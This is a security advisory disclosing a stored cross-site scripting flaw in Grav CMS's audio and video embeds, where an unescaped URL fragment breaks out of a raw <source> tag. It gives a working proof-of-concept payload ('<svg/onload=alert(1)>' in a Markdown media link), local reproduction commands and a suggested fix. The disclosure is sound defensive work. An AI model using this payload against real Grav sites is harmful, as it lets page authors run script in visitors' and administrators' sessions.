GHSA-6qw9-4vv5-jr97

**Target:** github.com/getgrav/grav **Affected resource:** `Grav\Common\Media\Traits\AudioMediaTrait` / `VideoMediaTrait` `sourceParsedownElement()` — verified on 2.0.13 (latest stable) and `develop` HEAD `5a7070f` **Severity:** Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory [CVE-2026-42841](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr), same PR:H / S:C / C:H / I:L) **Weakness:** CWE-79 (Improper Neutralization of Input During Web Page Generation)

## Summary

A Markdown audio or video embed renders its `<source>` element as **raw HTML** with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so `![x](song.mp3#"><svg/onload=alert(1)>)` breaks out of `<source src="…">` and injects arbitrary HTML — including a script-executing `<svg onload>` — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.

This is the next sink in the media-parameter injection class the maintainer has been closing: [GHSA-r7fx-8g49-7hhr](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr) (`attribute()`), [GHSA-pmf8-g7c8-7v54 / CVE-2026-55890](https://github.com/getgrav/grav/security/advisories/GHSA-pmf8-g7c8-7v54) (`style()`, 2.0.0-rc.9), and [GHSA-ffmg-hfvg-jhg9](https://github.com/getgrav/grav/security/advisories/GHSA-ffmg-hfvg-jhg9) (`resize()`, 2.0.0-rc.10). All three guarded image `style`/`attribute` sinks; the [`aba291a5` audit](https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20) scoped itself to "sinks reaching the style attribute" and did not cover the audio/video `<source>` rawHtml sink, which reaches full script execution rather than CSS injection.

## Root Cause

The audio/video player builds its inner source as Parsedown **rawHtml** (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — [`AudioMediaTrait.php` L43-52](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/AudioMediaTrait.php#L43-L52) (identical in [`VideoMediaTrait.php` L58-67](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/VideoMediaTrait.php#L58-L67)):

```php protected function sourceParsedownElement(array $attributes, $reset = true) { $location = $this->url($reset); return [ 'name' => 'audio', 'rawHtml' => '<source src="' . $location . '">Your browser does not support the audio tag.', 'attributes' => $attributes ]; } ```

`$location` includes the URL fragment, which is stored with **no encoding** — [`MediaObjectTrait::urlHash()` L240-249](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/MediaObjectTrait.php#L240-L249) only strips a leading `#`. Before that, the excerpt handler decodes the media URL with `htmlspecialchars_decode(urldecode(...))`, undoing Parsedown's escaping — [`Excerpts.php` L188](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L188) — and routes the fragment to `urlHash()` at [`Excerpts.php` L321-323](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L321-L323). So `"`, `<`, `>`, `=`, `(`, `)` in the fragment survive into the raw `<source>`.

Two defenses that stop the *querystring* path do not cover the *fragment*:

- The GFM tagfilter — [`ParsedownGravTrait::filterDisallowedRawHtml()` L528-535](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Markdown/ParsedownGravTrait.php#L528-L535) — escapes `<` only for `title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext`. `<svg>` and `<img>` are not on the list, so they inject as live markup. - The `__call` querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (`onload=alert(1)`) keep their `=` `(` `)` and execute.

The image render path is unaffected — an image's `src` goes into an htmlspecialchars-escaped attribute, not rawHtml.

## Steps to Reproduce

### Prerequisites

- PHP >= 8.0 with the built-in web server (verified on 8.5) - curl - unzip

### Step 1: Download Grav 2.0.13 (latest stable, self-contained core)

```bash mkdir -p /tmp/grav-xss && cd /tmp/grav-xss curl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip unzip grav.zip ```

### Step 2: Create a page with an audio file and a malicious Markdown embed

```bash cd /tmp/grav-xss/grav mkdir -p user/pages/03.poc printf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3 cat > user/pages/03.poc/default.md <<'MD' --- title: XSS PoC --- ![sound](sound.mp3#"><svg/onload=alert(1)>) MD ```

### Step 3: Start Grav

```bash php -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php ```

Leave this running and open a new terminal for the next step.

### Step 4: Fetch the rendered page and show the un-escaped injection

```bash for i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done curl http://127.0.0.1:8390/poc | grep -o '<audio.*</audio>' ```

Expected output:

``` <audio controls="controls" alt="sound"><source src="/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#"><svg/onload=alert(1)>">Your browser does not support the audio tag.</audio> ```

The `<source src="…#">` is closed by the injected `"` and `>`, and `<svg/onload=alert(1)>` follows as live markup. Open `http://127.0.0.1:8390/poc` in a browser: the SVG's `onload` fires and executes `alert(1)` (screenshot: a `document.body.innerHTML='XSS_…'` variant rewriting the page). Video reproduces identically with an `.mp4` file and the same fragment.

## Suggested Fix

Escape `$location` with `htmlspecialchars()` before concatenating it into the `<source src="…">` rawHtml in `AudioMediaTrait::sourceParsedownElement()` and `VideoMediaTrait::sourceParsedownElement()` (and any other rawHtml media sink), or build the `<source>` through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in `MediaObjectTrait::urlHash()` should also be encoded rather than passed through verbatim.

## Cleanup

```bash kill %1 2>/dev/null rm -rf /tmp/grav-xss ```

## Impact

Arbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected `<svg onload>` runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a **no-interaction** sink: Grav's body renderer already passes interaction-based `<a href="javascript:">` / `<form action="javascript:">` raw but escapes auto-firing `<img onerror>` / `<svg onload>` on block tags — the audio/video `<source>` rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.